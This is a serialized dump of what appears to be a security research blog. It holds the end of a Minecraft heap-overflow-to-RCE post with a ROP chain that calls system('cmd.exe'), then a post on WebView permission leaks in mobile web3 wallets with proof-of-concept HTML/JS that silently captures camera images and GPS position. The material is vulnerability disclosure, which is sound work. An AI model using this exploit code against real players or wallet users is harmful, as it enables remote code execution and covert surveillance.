`GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":141,"props":154643,"children":154644},{"class":143,"line":271},[154645],{"type":23,"tag":141,"props":154646,"children":154647},{"style":154},[154648],{"type":29,"value":154649},"rop.gadget(pop_rcx)\n",{"type":23,"tag":141,"props":154651,"children":154652},{"class":143,"line":293},[154653,154658,154663,154668,154672],{"type":23,"tag":141,"props":154654,"children":154655},{"style":154},[154656],{"type":29,"value":154657},"rop.gadget(",{"type":23,"tag":141,"props":154659,"children":154660},{"style":449},[154661],{"type":29,"value":154662},"0x",{"type":23,"tag":141,"props":154664,"children":154665},{"style":472},[154666],{"type":29,"value":154667},"7468B68",{"type":23,"tag":141,"props":154669,"children":154670},{"style":154},[154671],{"type":29,"value":1748},{"type":23,"tag":141,"props":154673,"children":154674},{"style":443},[154675],{"type":29,"value":154676},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":141,"props":154678,"children":154679},{"class":143,"line":801},[154680,154685],{"type":23,"tag":141,"props":154681,"children":154682},{"style":154},[154683],{"type":29,"value":154684},"rop.gadget(ret) ",{"type":23,"tag":141,"props":154686,"children":154687},{"style":443},[154688],{"type":29,"value":154689},"# movaps alignment\n",{"type":23,"tag":141,"props":154691,"children":154692},{"class":143,"line":810},[154693,154698],{"type":23,"tag":141,"props":154694,"children":154695},{"style":154},[154696],{"type":29,"value":154697},"rop.gadget(push_rax_ret) ",{"type":23,"tag":141,"props":154699,"children":154700},{"style":443},[154701],{"type":29,"value":154702},"# calls `GetModuleHandle`\n",{"type":23,"tag":141,"props":154704,"children":154705},{"class":143,"line":824},[154706,154711,154715,154720],{"type":23,"tag":141,"props":154707,"children":154708},{"style":154},[154709],{"type":29,"value":154710},"rop.literal(u64(",{"type":23,"tag":141,"props":154712,"children":154713},{"style":449},[154714],{"type":29,"value":1883},{"type":23,"tag":141,"props":154716,"children":154717},{"style":828},[154718],{"type":29,"value":154719},"\"ucrtbase\"",{"type":23,"tag":141,"props":154721,"children":154722},{"style":154},[154723],{"type":29,"value":498},{"type":23,"tag":141,"props":154725,"children":154726},{"class":143,"line":839},[154727,154731,154735,154740,154745,154749],{"type":23,"tag":141,"props":154728,"children":154729},{"style":154},[154730],{"type":29,"value":154710},{"type":23,"tag":141,"props":154732,"children":154733},{"style":449},[154734],{"type":29,"value":1883},{"type":23,"tag":141,"props":154736,"children":154737},{"style":828},[154738],{"type":29,"value":154739},"\".dll",{"type":23,"tag":141,"props":154741,"children":154742},{"style":46851},[154743],{"type":29,"value":154744},"\\x00\\x00\\x00\\x00",{"type":23,"tag":141,"props":154746,"children":154747},{"style":828},[154748],{"type":29,"value":18731},{"type":23,"tag":141,"props":154750,"children":154751},{"style":154},[154752],{"type":29,"value":498},{"type":23,"tag":141,"props":154754,"children":154755},{"class":143,"line":848},[154756,154760,154764,154769,154774,154778],{"type":23,"tag":141,"props":154757,"children":154758},{"style":154},[154759],{"type":29,"value":154710},{"type":23,"tag":141,"props":154761,"children":154762},{"style":449},[154763],{"type":29,"value":1883},{"type":23,"tag":141,"props":154765,"children":154766},{"style":828},[154767],{"type":29,"value":154768},"\"system",{"type":23,"tag":141,"props":154770,"children":154771},{"style":46851},[154772],{"type":29,"value":154773},"\\x00\\x00",{"type":23,"tag":141,"props":154775,"children":154776},{"style":828},[154777],{"type":29,"value":18731},{"type":23,"tag":141,"props":154779,"children":154780},{"style":154},[154781],{"type":29,"value":498},{"type":23,"tag":141,"props":154783,"children":154784},{"class":143,"line":2304},[154785],{"type":23,"tag":141,"props":154786,"children":154787},{"emptyLinePlaceholder":15},[154788],{"type":29,"value":719},{"type":23,"tag":141,"props":154790,"children":154791},{"class":143,"line":2313},[154792],{"type":23,"tag":141,"props":154793,"children":154794},{"style":443},[154795],{"type":29,"value":154796},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":141,"props":154798,"children":154799},{"class":143,"line":2335},[154800,154805],{"type":23,"tag":141,"props":154801,"children":154802},{"style":154},[154803],{"type":29,"value":154804},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":141,"props":154806,"children":154807},{"style":443},[154808],{"type":29,"value":154809},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":141,"props":154811,"children":154812},{"class":143,"line":2343},[154813],{"type":23,"tag":141,"props":154814,"children":154815},{"style":154},[154816],{"type":29,"value":154817},"rop.gadget(pop_rdx)\n",{"type":23,"tag":141,"props":154819,"children":154820},{"class":143,"line":2352},[154821,154825,154829,154833,154837,154841,154845,154849],{"type":23,"tag":141,"props":154822,"children":154823},{"style":154},[154824],{"type":29,"value":154657},{"type":23,"tag":141,"props":154826,"children":154827},{"style":449},[154828],{"type":29,"value":154662},{"type":23,"tag":141,"props":154830,"children":154831},{"style":472},[154832],{"type":29,"value":154667},{"type":23,"tag":141,"props":154834,"children":154835},{"style":160},[154836],{"type":29,"value":7581},{"type":23,"tag":141,"props":154838,"children":154839},{"style":449},[154840],{"type":29,"value":154602},{"type":23,"tag":141,"props":154842,"children":154843},{"style":472},[154844],{"type":29,"value":87738},{"type":23,"tag":141,"props":154846,"children":154847},{"style":154},[154848],{"type":29,"value":1748},{"type":23,"tag":141,"props":154850,"children":154851},{"style":443},[154852],{"type":29,"value":154853},"# offset of \"system\" string\n",{"type":23,"tag":141,"props":154855,"children":154856},{"class":143,"line":2421},[154857],{"type":23,"tag":141,"props":154858,"children":154859},{"style":154},[154860],{"type":29,"value":154861},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":141,"props":154863,"children":154864},{"class":143,"line":2429},[154865],{"type":23,"tag":141,"props":154866,"children":154867},{"emptyLinePlaceholder":15},[154868],{"type":29,"value":719},{"type":23,"tag":141,"props":154870,"children":154871},{"class":143,"line":2459},[154872],{"type":23,"tag":141,"props":154873,"children":154874},{"style":443},[154875],{"type":29,"value":154876},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":141,"props":154878,"children":154879},{"class":143,"line":2467},[154880],{"type":23,"tag":141,"props":154881,"children":154882},{"style":154},[154883],{"type":29,"value":154649},{"type":23,"tag":141,"props":154885,"children":154886},{"class":143,"line":2499},[154887,154891,154895,154900,154904],{"type":23,"tag":141,"props":154888,"children":154889},{"style":154},[154890],{"type":29,"value":154657},{"type":23,"tag":141,"props":154892,"children":154893},{"style":449},[154894],{"type":29,"value":154662},{"type":23,"tag":141,"props":154896,"children":154897},{"style":472},[154898],{"type":29,"value":154899},"7468DB8",{"type":23,"tag":141,"props":154901,"children":154902},{"style":154},[154903],{"type":29,"value":1748},{"type":23,"tag":141,"props":154905,"children":154906},{"style":443},[154907],{"type":29,"value":154908},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":141,"props":154910,"children":154911},{"class":143,"line":2507},[154912,154916],{"type":23,"tag":141,"props":154913,"children":154914},{"style":154},[154915],{"type":29,"value":154684},{"type":23,"tag":141,"props":154917,"children":154918},{"style":443},[154919],{"type":29,"value":154689},{"type":23,"tag":141,"props":154921,"children":154922},{"class":143,"line":2567},[154923,154927],{"type":23,"tag":141,"props":154924,"children":154925},{"style":154},[154926],{"type":29,"value":154697},{"type":23,"tag":141,"props":154928,"children":154929},{"style":443},[154930],{"type":29,"value":154931},"# calls `system`\n",{"type":23,"tag":141,"props":154933,"children":154934},{"class":143,"line":7724},[154935,154939,154943,154948,154953,154957],{"type":23,"tag":141,"props":154936,"children":154937},{"style":154},[154938],{"type":29,"value":154710},{"type":23,"tag":141,"props":154940,"children":154941},{"style":449},[154942],{"type":29,"value":1883},{"type":23,"tag":141,"props":154944,"children":154945},{"style":828},[154946],{"type":29,"value":154947},"\"cmd.exe",{"type":23,"tag":141,"props":154949,"children":154950},{"style":46851},[154951],{"type":29,"value":154952},"\\x00",{"type":23,"tag":141,"props":154954,"children":154955},{"style":828},[154956],{"type":29,"value":18731},{"type":23,"tag":141,"props":154958,"children":154959},{"style":154},[154960],{"type":29,"value":498},{"type":23,"tag":8287,"props":154962,"children":154964},{"id":154963},"demo",[154965],{"type":29,"value":154966},"Demo",{"type":23,"tag":32,"props":154968,"children":154969},{},[154970],{"type":29,"value":154971},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":130343,"props":154973,"children":154976},{"className":154974,"controls":15},[140310,154975],"blog-video-wide",[154977,154978,154982],{"type":29,"value":140313},{"type":23,"tag":139549,"props":154979,"children":154981},{"src":154980,"type":130341},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":140319},{"type":23,"tag":24,"props":154984,"children":154985},{"id":27618},[154986],{"type":29,"value":17618},{"type":23,"tag":32,"props":154988,"children":154989},{},[154990],{"type":29,"value":154991},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":32,"props":154993,"children":154994},{},[154995],{"type":29,"value":154996},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":32,"props":154998,"children":154999},{},[155000],{"type":29,"value":155001},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":1508,"props":155003,"children":155004},{},[155005],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":155007},[155008,155012,155017,155028],{"id":145668,"depth":180,"text":145671,"children":155009},[155010,155011],{"id":145703,"depth":205,"text":145706},{"id":145719,"depth":205,"text":145722},{"id":145740,"depth":180,"text":145743,"children":155013},[155014,155015,155016],{"id":145756,"depth":205,"text":145759},{"id":145844,"depth":205,"text":145847},{"id":148144,"depth":205,"text":148147},{"id":4093,"depth":180,"text":4096,"children":155018},[155019,155020,155021,155022,155023,155024,155025,155026,155027],{"id":148251,"depth":205,"text":148254},{"id":148276,"depth":205,"text":148279},{"id":148413,"depth":205,"text":148416},{"id":150577,"depth":205,"text":150580},{"id":150939,"depth":205,"text":150942},{"id":151759,"depth":205,"text":151762},{"id":153873,"depth":205,"text":153876},{"id":154491,"depth":205,"text":154494},{"id":154963,"depth":205,"text":154966},{"id":27618,"depth":180,"text":17618},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":155033,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":155034,"description":155035,"date":155036,"author":155037,"image":155039,"isFeatured":15,"onBlogPage":15,"tags":155041,"body":155043,"_type":1522,"_id":157366,"_source":1524,"_file":157367,"_stem":157368,"_extension":1527},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[29669,29668,155038],"nikolaos",{"src":155040,"width":95753,"height":13},"/posts/insecure-webview-integrations/title.png",[30609,130449,155042],"webview",{"type":20,"children":155044,"toc":157353},[155045,155050,155055,155061,155066,155071,155076,155082,155087,155093,155115,155128,155148,155162,155168,155182,155190,155195,155201,155206,155215,155236,155380,155385,155391,155396,155401,155415,155419,155424,155442,156870,156874,156879,156891,156900,156905,156911,156933,156941,156946,156952,156957,156975,156980,156986,156999,157281,157309,157322,157327,157340,157344,157349],{"type":23,"tag":32,"props":155046,"children":155047},{},[155048],{"type":29,"value":155049},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":32,"props":155051,"children":155052},{},[155053],{"type":29,"value":155054},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":33843,"props":155056,"children":155058},{"id":155057},"exploiting-mobile-webviews",[155059],{"type":29,"value":155060},"Exploiting Mobile WebViews",{"type":23,"tag":32,"props":155062,"children":155063},{},[155064],{"type":29,"value":155065},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":32,"props":155067,"children":155068},{},[155069],{"type":29,"value":155070},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":32,"props":155072,"children":155073},{},[155074],{"type":29,"value":155075},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":24,"props":155077,"children":155079},{"id":155078},"handling-webview-permissions",[155080],{"type":29,"value":155081},"Handling WebView permissions",{"type":23,"tag":32,"props":155083,"children":155084},{},[155085],{"type":29,"value":155086},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":8287,"props":155088,"children":155090},{"id":155089},"android",[155091],{"type":29,"value":155092},"Android",{"type":23,"tag":32,"props":155094,"children":155095},{},[155096,155098,155105,155107,155113],{"type":29,"value":155097},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":55,"props":155099,"children":155102},{"href":155100,"rel":155101},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[59],[155103],{"type":29,"value":155104},"onPermissionRequest",{"type":29,"value":155106},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":38,"props":155108,"children":155110},{"className":155109},[],[155111],{"type":29,"value":155112},"PermissionRequest",{"type":29,"value":155114}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":355,"props":155116,"children":155117},{},[155118],{"type":23,"tag":32,"props":155119,"children":155120},{},[155121,155123,155126],{"type":29,"value":155122},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":141,"props":155124,"children":155125},{},[],{"type":29,"value":155127},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":32,"props":155129,"children":155130},{},[155131,155133,155139,155141,155147],{"type":29,"value":155132},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":38,"props":155134,"children":155136},{"className":155135},[],[155137],{"type":29,"value":155138},"getOrigin()",{"type":29,"value":155140}," and the requested permissions with ",{"type":23,"tag":38,"props":155142,"children":155144},{"className":155143},[],[155145],{"type":29,"value":155146},"getResources()",{"type":29,"value":322},{"type":23,"tag":32,"props":155149,"children":155150},{},[155151,155153,155160],{"type":29,"value":155152},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":55,"props":155154,"children":155157},{"href":155155,"rel":155156},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[59],[155158],{"type":29,"value":155159},"webview_shell",{"type":29,"value":155161},". In this instance, no origin checks are performed.",{"type":23,"tag":8287,"props":155163,"children":155165},{"id":155164},"ios",[155166],{"type":29,"value":155167},"iOS",{"type":23,"tag":32,"props":155169,"children":155170},{},[155171,155173,155180],{"type":29,"value":155172},"On the contrary, iOS ",{"type":23,"tag":55,"props":155174,"children":155177},{"href":155175,"rel":155176},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[59],[155178],{"type":29,"value":155179},"documentation",{"type":29,"value":155181}," states that:",{"type":23,"tag":355,"props":155183,"children":155184},{},[155185],{"type":23,"tag":32,"props":155186,"children":155187},{},[155188],{"type":29,"value":155189},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":32,"props":155191,"children":155192},{},[155193],{"type":29,"value":155194},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":24,"props":155196,"children":155198},{"id":155197},"the-shortcomings-of-webview-implementations",[155199],{"type":29,"value":155200},"The shortcomings of WebView implementations",{"type":23,"tag":32,"props":155202,"children":155203},{},[155204],{"type":29,"value":155205},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":29814,"props":155207,"children":155208},{"style":29816},[155209],{"type":23,"tag":2591,"props":155210,"children":155214},{"src":155211,"alt":155212,"style":155213},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":155216,"children":155217},{},[155218,155220,155226,155228,155234],{"type":29,"value":155219},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":38,"props":155221,"children":155223},{"className":155222},[],[155224],{"type":29,"value":155225},"react-native-webview",{"type":29,"value":155227},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":55,"props":155229,"children":155232},{"href":155230,"rel":155231},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[59],[155233],{"type":29,"value":155104},{"type":29,"value":155235}," method, we see a similar pattern.",{"type":23,"tag":131,"props":155237,"children":155241},{"className":155238,"code":155239,"language":155240,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[155242],{"type":23,"tag":38,"props":155243,"children":155244},{"__ignoreMap":7},[155245,155253,155282,155342,155362,155373],{"type":23,"tag":141,"props":155246,"children":155247},{"class":143,"line":144},[155248],{"type":23,"tag":141,"props":155249,"children":155250},{"style":443},[155251],{"type":29,"value":155252},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":141,"props":155254,"children":155255},{"class":143,"line":180},[155256,155260,155264,155269,155273,155278],{"type":23,"tag":141,"props":155257,"children":155258},{"style":148},[155259],{"type":29,"value":14255},{"type":23,"tag":141,"props":155261,"children":155262},{"style":154},[155263],{"type":29,"value":1220},{"type":23,"tag":141,"props":155265,"children":155266},{"style":750},[155267],{"type":29,"value":155268},"requestedAndroidPermissions",{"type":23,"tag":141,"props":155270,"children":155271},{"style":154},[155272],{"type":29,"value":322},{"type":23,"tag":141,"props":155274,"children":155275},{"style":184},[155276],{"type":29,"value":155277},"isEmpty",{"type":23,"tag":141,"props":155279,"children":155280},{"style":154},[155281],{"type":29,"value":90506},{"type":23,"tag":141,"props":155283,"children":155284},{"class":143,"line":205},[155285,155290,155294,155299,155303,155308,155312,155317,155321,155325,155330,155334,155338],{"type":23,"tag":141,"props":155286,"children":155287},{"style":750},[155288],{"type":29,"value":155289}," request",{"type":23,"tag":141,"props":155291,"children":155292},{"style":154},[155293],{"type":29,"value":322},{"type":23,"tag":141,"props":155295,"children":155296},{"style":184},[155297],{"type":29,"value":155298},"grant",{"type":23,"tag":141,"props":155300,"children":155301},{"style":154},[155302],{"type":29,"value":192},{"type":23,"tag":141,"props":155304,"children":155305},{"style":750},[155306],{"type":29,"value":155307},"grantedPermissions",{"type":23,"tag":141,"props":155309,"children":155310},{"style":154},[155311],{"type":29,"value":322},{"type":23,"tag":141,"props":155313,"children":155314},{"style":184},[155315],{"type":29,"value":155316},"toArray",{"type":23,"tag":141,"props":155318,"children":155319},{"style":154},[155320],{"type":29,"value":192},{"type":23,"tag":141,"props":155322,"children":155323},{"style":148},[155324],{"type":29,"value":13799},{"type":23,"tag":141,"props":155326,"children":155327},{"style":725},[155328],{"type":29,"value":155329}," String",{"type":23,"tag":141,"props":155331,"children":155332},{"style":154},[155333],{"type":29,"value":2399},{"type":23,"tag":141,"props":155335,"children":155336},{"style":472},[155337],{"type":29,"value":2698},{"type":23,"tag":141,"props":155339,"children":155340},{"style":154},[155341],{"type":29,"value":101997},{"type":23,"tag":141,"props":155343,"children":155344},{"class":143,"line":218},[155345,155350,155354,155358],{"type":23,"tag":141,"props":155346,"children":155347},{"style":154},[155348],{"type":29,"value":155349}," grantedPermissions ",{"type":23,"tag":141,"props":155351,"children":155352},{"style":160},[155353],{"type":29,"value":1377},{"type":23,"tag":141,"props":155355,"children":155356},{"style":449},[155357],{"type":29,"value":68752},{"type":23,"tag":141,"props":155359,"children":155360},{"style":154},[155361],{"type":29,"value":1684},{"type":23,"tag":141,"props":155363,"children":155364},{"class":143,"line":227},[155365,155369],{"type":23,"tag":141,"props":155366,"children":155367},{"style":148},[155368],{"type":29,"value":15665},{"type":23,"tag":141,"props":155370,"children":155371},{"style":154},[155372],{"type":29,"value":1684},{"type":23,"tag":141,"props":155374,"children":155375},{"class":143,"line":241},[155376],{"type":23,"tag":141,"props":155377,"children":155378},{"style":154},[155379],{"type":29,"value":2573},{"type":23,"tag":32,"props":155381,"children":155382},{},[155383],{"type":29,"value":155384},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":8287,"props":155386,"children":155388},{"id":155387},"real-world-exploitation",[155389],{"type":29,"value":155390},"Real world exploitation",{"type":23,"tag":32,"props":155392,"children":155393},{},[155394],{"type":29,"value":155395},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":32,"props":155397,"children":155398},{},[155399],{"type":29,"value":155400},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":32,"props":155402,"children":155403},{},[155404,155406,155413],{"type":29,"value":155405},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":55,"props":155407,"children":155410},{"href":155408,"rel":155409},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[59],[155411],{"type":29,"value":155412},"Justson",{"type":29,"value":155414},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":17563,"props":155416,"children":155417},{"id":37976},[155418],{"type":29,"value":33299},{"type":23,"tag":32,"props":155420,"children":155421},{},[155422],{"type":29,"value":155423},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":116,"props":155425,"children":155426},{},[155427,155432,155437],{"type":23,"tag":120,"props":155428,"children":155429},{},[155430],{"type":29,"value":155431},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":120,"props":155433,"children":155434},{},[155435],{"type":29,"value":155436},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":120,"props":155438,"children":155439},{},[155440],{"type":29,"value":155441},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":131,"props":155443,"children":155445},{"className":48500,"code":155444,"language":30851,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[155446],{"type":23,"tag":38,"props":155447,"children":155448},{"__ignoreMap":7},[155449,155469,155484,155500,155530,155553,155568,155583,155615,155661,155697,155725,155740,155786,155832,155840,155908,155936,155951,155959,155966,155986,156046,156087,156116,156157,156164,156193,156231,156268,156275,156282,156315,156336,156343,156405,156461,156497,156543,156551,156558,156601,156634,156759,156792,156799,156806,156813,156825,156840,156855],{"type":23,"tag":141,"props":155450,"children":155451},{"class":143,"line":144},[155452,155456,155460,155465],{"type":23,"tag":141,"props":155453,"children":155454},{"style":30844},[155455],{"type":29,"value":32695},{"type":23,"tag":141,"props":155457,"children":155458},{"style":449},[155459],{"type":29,"value":32700},{"type":23,"tag":141,"props":155461,"children":155462},{"style":750},[155463],{"type":29,"value":155464}," html",{"type":23,"tag":141,"props":155466,"children":155467},{"style":30844},[155468],{"type":29,"value":4666},{"type":23,"tag":141,"props":155470,"children":155471},{"class":143,"line":180},[155472,155476,155480],{"type":23,"tag":141,"props":155473,"children":155474},{"style":30844},[155475],{"type":29,"value":4480},{"type":23,"tag":141,"props":155477,"children":155478},{"style":449},[155479],{"type":29,"value":30851},{"type":23,"tag":141,"props":155481,"children":155482},{"style":30844},[155483],{"type":29,"value":4666},{"type":23,"tag":141,"props":155485,"children":155486},{"class":143,"line":205},[155487,155491,155496],{"type":23,"tag":141,"props":155488,"children":155489},{"style":30844},[155490],{"type":29,"value":4480},{"type":23,"tag":141,"props":155492,"children":155493},{"style":449},[155494],{"type":29,"value":155495},"head",{"type":23,"tag":141,"props":155497,"children":155498},{"style":30844},[155499],{"type":29,"value":4666},{"type":23,"tag":141,"props":155501,"children":155502},{"class":143,"line":218},[155503,155507,155512,155517,155521,155526],{"type":23,"tag":141,"props":155504,"children":155505},{"style":30844},[155506],{"type":29,"value":30914},{"type":23,"tag":141,"props":155508,"children":155509},{"style":449},[155510],{"type":29,"value":155511},"meta",{"type":23,"tag":141,"props":155513,"children":155514},{"style":750},[155515],{"type":29,"value":155516}," charset",{"type":23,"tag":141,"props":155518,"children":155519},{"style":154},[155520],{"type":29,"value":1377},{"type":23,"tag":141,"props":155522,"children":155523},{"style":828},[155524],{"type":29,"value":155525},"\"utf-8\"",{"type":23,"tag":141,"props":155527,"children":155528},{"style":30844},[155529],{"type":29,"value":4666},{"type":23,"tag":141,"props":155531,"children":155532},{"class":143,"line":227},[155533,155537,155541,155545,155549],{"type":23,"tag":141,"props":155534,"children":155535},{"style":30844},[155536],{"type":29,"value":30914},{"type":23,"tag":141,"props":155538,"children":155539},{"style":449},[155540],{"type":29,"value":32773},{"type":23,"tag":141,"props":155542,"children":155543},{"style":30844},[155544],{"type":29,"value":48544},{"type":23,"tag":141,"props":155546,"children":155547},{"style":449},[155548],{"type":29,"value":32773},{"type":23,"tag":141,"props":155550,"children":155551},{"style":30844},[155552],{"type":29,"value":4666},{"type":23,"tag":141,"props":155554,"children":155555},{"class":143,"line":241},[155556,155560,155564],{"type":23,"tag":141,"props":155557,"children":155558},{"style":30844},[155559],{"type":29,"value":30898},{"type":23,"tag":141,"props":155561,"children":155562},{"style":449},[155563],{"type":29,"value":155495},{"type":23,"tag":141,"props":155565,"children":155566},{"style":30844},[155567],{"type":29,"value":4666},{"type":23,"tag":141,"props":155569,"children":155570},{"class":143,"line":262},[155571,155575,155579],{"type":23,"tag":141,"props":155572,"children":155573},{"style":30844},[155574],{"type":29,"value":4480},{"type":23,"tag":141,"props":155576,"children":155577},{"style":449},[155578],{"type":29,"value":30868},{"type":23,"tag":141,"props":155580,"children":155581},{"style":30844},[155582],{"type":29,"value":4666},{"type":23,"tag":141,"props":155584,"children":155585},{"class":143,"line":271},[155586,155590,155594,155598,155603,155607,155611],{"type":23,"tag":141,"props":155587,"children":155588},{"style":30844},[155589],{"type":29,"value":30914},{"type":23,"tag":141,"props":155591,"children":155592},{"style":449},[155593],{"type":29,"value":24},{"type":23,"tag":141,"props":155595,"children":155596},{"style":30844},[155597],{"type":29,"value":9142},{"type":23,"tag":141,"props":155599,"children":155600},{"style":154},[155601],{"type":29,"value":155602},"Smile dApp 